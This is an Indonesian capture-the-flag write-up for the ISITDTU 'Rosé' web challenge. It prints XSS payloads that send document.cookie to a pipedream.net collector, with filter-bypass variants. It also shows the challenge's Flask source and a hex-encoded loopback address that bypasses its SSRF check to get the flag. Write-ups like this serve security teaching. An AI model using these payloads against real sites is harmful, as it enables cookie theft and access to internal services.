Challenge Description : Rosé is a beautiful singer with a sweet voice, but she is so much busy and she needs more staff to work in her garden. Diberikan web http://45.77.247.11/ .
Saat mengakses web, yang pertama terlihat adalah sebuah webpage yang dihias dengan picture/video Rosé Blackpink. Terdapat “home”, dan “Send request” yang melakukan redirect ke http://45.77.247.11/request seperti dibawah ini.
“Send request” dan “We’ll keep your website secret” dari kedua kalimat ini, pada saat itu penulis langsung berpikir untuk mengirimkan request berupa XSS untuk mencuri cookie admin. Penulis berpikir bahwa “request” yang kita masukkan ke field input URL akan disimpan di database dan kemudian di view saat admin mengakses websitenya dalam bentuk sebuah table. Sehingga saat webpage load, javascript XSS dapat dijalankan dan cookie admin yang mengaksesnya dapat dicuri. Penulis menggunakan sebuah webhook yaitu www.RequestBin.com untuk mengumpulkan request yang berisi cookie admin dan ditampilkan di page requestbin kita. Tapi tidak berhasil dan selalu mengembalikan error message berupa.
Contoh beberapa input yang digunakan antara lain :
- <script>document.location=’https://eniqzyw8y8vi.x.pipedream.net?c=’+document.cookie</script>
- <ScRiPt>document.location=’https://eniqzyw8y8vi.x.pipedream.net?c=’+document.cookie</sCrIpT> (filter bypass case sensitive)
- <script>document.location=’https://eniqzyw8y8vi.x.pipedream.net?c=’+document.cookie</script< (bypass dengan html tag yang tidak lengkap, karena browser akan melakukan koreksi secara automatis)
Tetapi semua input yang dicoba tidak dapat berhasil sehingga penulis berhenti mengerjakan sesaat, saat beristirahat penulis mendapatkan info dari discord official ISITDTU dari problem setternya “coba berpikir lebih simple”.
Ternyata, penulis melewatkan pengecekan http://45.77.247.11/robots.txt yang memuat
User-Agent: *
Disallow: /source.zip
Didalam source.zip terdapat app.py yang berisi :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 |
#!/usr/bin/env python from flask import Flask, render_template, request, send_from_directory, abort from concurrent.futures import ThreadPoolExecutor from urllib.parse import urlparse from socket import inet_aton import requests import asyncio app = Flask(__name__) app.jinja_env.lstrip_blocks = True app.jinja_env.trim_blocks = True async def check_func(hostname, port): try: if len(hostname.split('.')) != 4: 0/0 if '127.' in hostname or '.0.' in hostname or '.1' in hostname: 0/0 if inet_aton(hostname) != b'\x7f\x00\x00\x01': 0/0 if not port: port = 80 result = [] with ThreadPoolExecutor(max_workers=3) as executor: loop = asyncio.get_event_loop() tasks = [ loop.run_in_executor( executor, lambda u: requests.get(u, allow_redirects=False, timeout=2), url ) for url in [f'http://{hostname}:{port}', 'http://127.0.0.1:3333'] ] for res in await asyncio.gather(*tasks): result.append(res.text) except: return False return result[1] if result[0] == result[1] else False @app.route('/<path:path>') def send_static(path): return send_from_directory('static', path) @app.route('/') def index(): return render_template('index.html') @app.route('/request', methods=['GET', 'POST']) def request_page(): if 'url' in request.form and request.form['url']: url = request.form['url'] if url[:7] != 'http://': url = 'http://' + url host_info = urlparse(url)._hostinfo asyncio.set_event_loop(asyncio.new_event_loop()) loop = asyncio.get_event_loop() FLAG = loop.run_until_complete( asyncio.ensure_future( check_func(*host_info) ) ) if FLAG: return render_template('request.html', flag=FLAG) else: return render_template('request.html', error=True) return render_template('request.html') if __name__ == '__main__': app.run(host='0.0.0.0', port=80, debug=False) |
Ternyata error diatas disebabkan oleh 4 validasi ini
- if len(hostname.split(‘.’)) != 4: 0/0
jika input hostname ketika dilakukan split setiap titiknya tidak mencapai 4 bagian, maka error
- if ‘127.’ in hostname or ‘.0.’ in hostname or ‘.1’ in hostname: 0/0
*jika 127. Atau .0. atau .1 ditemukan di input hostname, maka error
- if inet_aton(hostname) != b’\x7f\x00\x00\x01′: 0/0
*jika output dari inet_aton(inputan) tidak sama dengan byte x7f/x00/x00/x01, maka error
- if not port: port = 80
*jika tidak disediakan port, maka port akan di set sebagai 80
Jika diambil kesimpulan kita harus menulis ulang ip 127.0.0.1 dengan format lain, dapat dilakukan dengan octal atau hex. Penulis menggunakan ip hex ditambah port 3333.
0x7f.0x00.0x00.0x01:3333
Flag didapatkan !
Flag = ISITDTU{warmup task is not that hard}